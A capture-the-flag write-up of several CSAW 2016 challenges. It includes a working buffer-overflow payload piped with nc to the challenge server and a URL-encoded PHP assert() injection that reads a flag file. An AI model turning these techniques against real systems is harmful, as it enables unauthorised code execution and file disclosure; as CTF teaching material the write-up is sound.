By Jeff White (karttoon)
Another year, another CSAW. Wasn't able to scrounge up a team this year, or spend much time playing (damn responsibilities!), but I did get to play some with @_jsoo_ and had a good time regardless. CSAW always has a great mix of challenges.
Pwn - 50 - Warmup
We're provided the below binary for this exploit challenge.
# file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
# ./checksec -f warmup
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 warmup
# ./warmup
-Warm Up-
WOW:0x40060d
>abc123
We've got the NX bit set but otherwise nothing really enabled (this is the warmup afterall). When we run the program we receive what looks like an address at 0x40060D. Looking at the address in gdb we can see a function call for system with the value at 0x400734 passed to it.
(gdb) x/10i 0x40060D
0x40060d <easy>: push %rbp
0x40060e <easy+1>: mov %rsp,%rbp
0x400611 <easy+4>: mov $0x400734,%edi
0x400616 <easy+9>: callq 0x4004d0 <system@plt>
0x40061b <easy+14>: pop %rbp
0x40061c <easy+15>: retq
0x40061d <main>: push %rbp
0x40061e <main+1>: mov %rsp,%rbp
0x400621 <main+4>: add $0xffffffffffffff80,%rsp
0x400625 <main+8>: mov $0xa,%edx
(gdb) x/s 0x400734
0x400734: "cat flag.txt"
This is our flag printing function so we need to find a way to execute it. Looking back at our main program, we see a call to the gets function at 0x40069E and can assume this is a classic buffer-overflow challenge. Using our trusty friend \x41, we can quickly narrow in on the bytes we need and then create a string which will point RIP to the function we want to execute.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/warmup
-Warm Up-
WOW:0x40060d
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000004141414141 in ?? ()
# echo "hello" > flag.txt ; python -c "print 'A' * 72 + '\x0d\06\x40\x00\x00'" > bo_input
(gdb) r < bo_input
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/warmup < bo_input
-Warm Up-
WOW:0x40060d
>hello
Finally we run it against the server and receive the flag.
$ python -c 'print "A" * 72 + "\x0d\x06\x40\x00\x00"' |nc pwn.chal.csaw.io 8000
-Warm Up-
WOW:0x40060d
>FLAG{LET_US_BEGIN_CSAW_2016}
FLAG: FLAG{LET_US_BEGIN_CSAW_2016}
RE - 50 - Gametime
This challenge provided us the binary 'gametime.exe'.
$ file gametime.exe
gametime.exe: PE32 executable (console) Intel 80386, for MS Windows
Basically this is like the famous game DDR and you have to press certain keys as they pop-up in order to progress. I started looking at the code for this one in IDA and and toying with the idea of adjusting the sleep timers between each key being displayed before it timesout, but apparently I've wasted enough of my life playing videogames that I just beat it on the first run.
Funny story, I didn't even think about beating it in a legitimate fashion so the first time I played it I just ran it straight from the EXE, which meant that when I won, the window quickly vanished and I couldn't grab the key. Had to play it like three more times before I finally got it again for a screenshot :)
FLAG: no5c30416d6cf52638460377995c6a8cf5
Forensics - 50 - Kill
We're provided a PCAP file, "kill.pcapng" but honestly I couldn't tell you what the intended route for this challenge was.
$ strings kill.pcapng |grep "flag"
=flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}
FLAG: flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}
Forensics - 100 - Clams Don't Dance
For this challenge we're provided a "out.img" file.
# disktype /root/Desktop/out.img
--- /root/Desktop/out.img
Regular file, size 100 MiB (104857600 bytes)
FAT16 file system (hints score 3 of 5)
Volume size 99.78 MiB (104630272 bytes, 51089 clusters of 2 KiB)
I played with mounting it and seeing if anything stood out but for whatever reason I was having a rough time mounting this so I went the Foremost route and carved it. In total, it extracted 714 zip files which, once extracted, had the contents for a PPT file.
# ls
[Content_Types].xml docProps ppt _rels
# ls ppt/
media/ notesMasters/ notesSlides/ _rels/ slideLayouts/ slideMasters/ slides/ theme/
# cd ppt/media/
# ls
image0.gif image14.jpg image19.png image23.jpg image28.png image32.gif image37.png image41.jpg image8.jpg
image10.jpg image15.jpg image1.jpg image24.png image29.png image33.jpg image38.png image4.png image9.jpg
image11.png image16.jpg image20.jpg image25.png image2.jpg image34.jpg image39.png image5.png
image12.png image17.jpg image21.jpg image26.jpg image30.png image35.jpg image3.jpg image6.png
image13.jpg image18.gif image22.png image27.png image31.jpg image36.jpg image40.jpg image7.jpg
Most of the images looked related to whatever this Clam-themed PPT was about except image0.gif, which stood out like a sore thumb.
A reverse Google image search showed that this was a Data Matrix (Maxicode) which is apparently primarily used by shipping companies, such as UPS. It's a two-layer format with inner and outter data and yatta yatta yatta...go read-up on it if you want, it's actually fairly interesting. Long story short, I found a data matrix decoder website and succesfully decoded out the flag.
FLAG: flag{TH1NK ABOUT 1T B1LL. 1F U D13D, WOULD ANY1 CARE??}
Misc - 100 - Regexpire
For this challenge, when you connect to the service provided you would receive a regex string. If you submitted back a string which matched their pattern before it timed-out then it would send you a new one, so on and so forth. The challenge was to parse their regex and generate a matching string so I decided to write something up in Python which can be found here (*note* my code is ugly! since reading some other solves for this challenge, there is a cool Python lib called 'rstr' which would have done the trick in a few lines of code).
#nc misc.chal.csaw.io 8001
Can you match these regexes?
(phone|lion)+n{5}D{5}(elephant|phone)+[YsX4NGUyO]+U+bS{5}(dolphin|apple)*n[OUL9M]{6}
phonennnnnDDDDDelephantYUbSSSSSdolphinnOOOOOO
G+[k-r]*[6GuiT4l]*O(spider|clinton)[AzZ3][i-r]*[rfiq\d]+(tomato|tiger)
Gk6OspiderAirtomato
Once I had a script worked out, it took 1,000 iterations before it spit the flag out...which is a bit excessive but there you have it.
Received 996:
[i-r](apple|alien)d[mVCve]*[.\dr\D0\wTz]*[k-r][CQqN6I][Ar5Knxaz]*W
Sending:
iappledm.kCAW
Received 997:
[e-j]*[a-zA-Z]ISp(wolf|apple)+[\wC]+u*[k-r][e-j]O
Sending:
eaISpwolfaukeO
Received 998:
(spider|gazelle)(clementine|tiger)*[a-z]*[pDKe]+[q\wLmb]+[oze][gM\W1t54n](potato|table)
Sending:
spiderclementineapqogpotato
Received 999:
[JeXv63vjUA][bVxn]a+(chair|table)[k-r]+(tomato|giraffe)qS*(dog|giraffe)W[\DRPgy8\W]+[8QE]{11}[\wY0TT8a]
Sending:
JbachairktomatoqSdogWa88888888888a
Received 1000:
flag{^regularly_express_yourself$}
FLAG: flag{^regularly_express_yourself$}
Web - 125 Mfw
This challenge was located at web.chal.csaw.io:8000 and looks relatively simple. It states that it was built with bootstrap, git, and PHP. Jacob nailed this one in the end!
Looking at the sourcecode for the page shows a commented out tab from the navigation bar called "flag".
<ul class="nav navbar-nav">
<li class="active"><a href="?page=home">Home</a></li>
<li ><a href="?page=about">About</a></li>
<li ><a href="?page=contact">Contact</a></li>
<!--<li ><a href="?page=flag">My secrets</a></li> -->
</ul>
A Nikto scan also shows some interesting data.
# nikto -host web.chal.csaw.io -p 8000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 216.165.2.38
+ Target Hostname: web.chal.csaw.io
+ Target Port: 8000
+ Start Time: 2016-09-18 11:02:21 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.10.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ 7555 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2016-09-18 11:09:02 (GMT-4) (401 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Specifically the presence of the .git directory.
Browsing this directory led to multiple findings. If you run strings on the index file, it gave us the tree structure for the site.
$ strings index
DIRC
?1tf
index.php
templates/about.php
templates/contact.php
templates/flag.php
templates/home.php
TREE
templates
_ux}
[/Uk
Also, the presence of the /.git/objects/XX files gave us the compressed copies of the site data. You can deflate the object files with openssl's zlib module ('openssl zlib -d < $IN > $OUT') and will find that the file in /.git/objects/97/ (index.php) and /.git/objects/87/ (flag.php) are interesting.
flag.php
blob 30<?php
// TODO
//$FLAG = '';
?>
index.php
blob 2199<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
So we need to find a way to access the $FLAG variable in flag.php.
Looking at index.php we can see that it's taking the value passed to 'page' and prepending 'templates/' and while appending '.php' to the passed string. Afterwards, it does some checks to validate '..' isn't a substring (eg directory traversal). The key takeaway is that they are using the assert() function to accomplish this though, which is effectively like eval().
Jacob crafted a nice percent encoded string to grab the file contents of the flag.php file on the server and return it.
?page=a', '')|| die(eval('echo file_get_contents(\'templates/flag.php\');')); strpos('a
?page=a%27,%20%27%27%29%7c%7c%20die%28eval%28%27echo%20file_get_contents%28%5c%27templates/flag.php%5c%27%29%3b%27%29%29%3b%20strpos%28%27a
This turns the assert into the below.
assert("strpos('a', '')|| die(eval('echo file_get_contents(\'templates/flag.php\');')); strpos('a', '..') === false") or die("Detected hacking attempt!");
Finally, we can request the URL and validate our flag.
FLAG: flag{3vald_@ss3rt_1s_best_a$$ert}
Older posts...